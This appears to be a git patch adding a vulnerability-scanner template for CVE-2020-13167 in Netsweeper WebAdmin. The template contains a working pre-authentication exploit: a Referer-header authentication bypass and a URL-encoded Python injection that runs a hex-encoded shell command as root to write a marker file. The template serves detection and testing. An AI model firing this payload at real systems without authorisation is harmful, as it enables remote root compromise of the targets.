From 5f42e15fcbff2c631b75f12d7012dd6a41cdafc0 Mon Sep 17 00:00:00 2001
From: dw1 <dwi.siswanto98@gmail.com>
Date: Wed, 8 Jul 2020 02:26:15 +0700
Subject: [PATCH] :fire: Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167

---
 cves/CVE-2020-13167.yaml | 41 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 41 insertions(+)
 create mode 100644 cves/CVE-2020-13167.yaml

diff --git a/cves/CVE-2020-13167.yaml b/cves/CVE-2020-13167.yaml
new file mode 100644
index 0000000000..708fef7dc3
--- /dev/null
+++ b/cves/CVE-2020-13167.yaml
@@ -0,0 +1,41 @@
+id: CVE-2020-13167
+
+info:
+  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
+  author: dwisiswant0
+  severity: critical
+
+  # This template exploits a Python code injection in the Netsweeper
+  # WebAdmin component's unixlogin.php script, for versions 6.4.4 and
+  # prior, to execute code as the root user.
+  # 
+  # Authentication is bypassed by sending a random whitelisted Referer
+  # header in each request.
+  # 
+  # Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
+  # Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
+  # been confirmed exploitable.
+  # 
+  # References:
+  # - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
+  # - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
+
+requests:
+  - method: GET
+    path:
+      # Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/nonexistent
+      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6e6f6e6578697374656e74%27.decode%28%27hex%27%29%29%23&timeout=5"
+      - "{{BaseURL}}/webadmin/nonexistent"
+    headers:
+      Referer: "http://{{Hostname}}/webadmin/admin/service_manager_data.php"
+      User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
+      Connection: "close"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "nonexistent"
+        part: body
+      - type: status
+        status:
+          - 200
\ No newline at end of file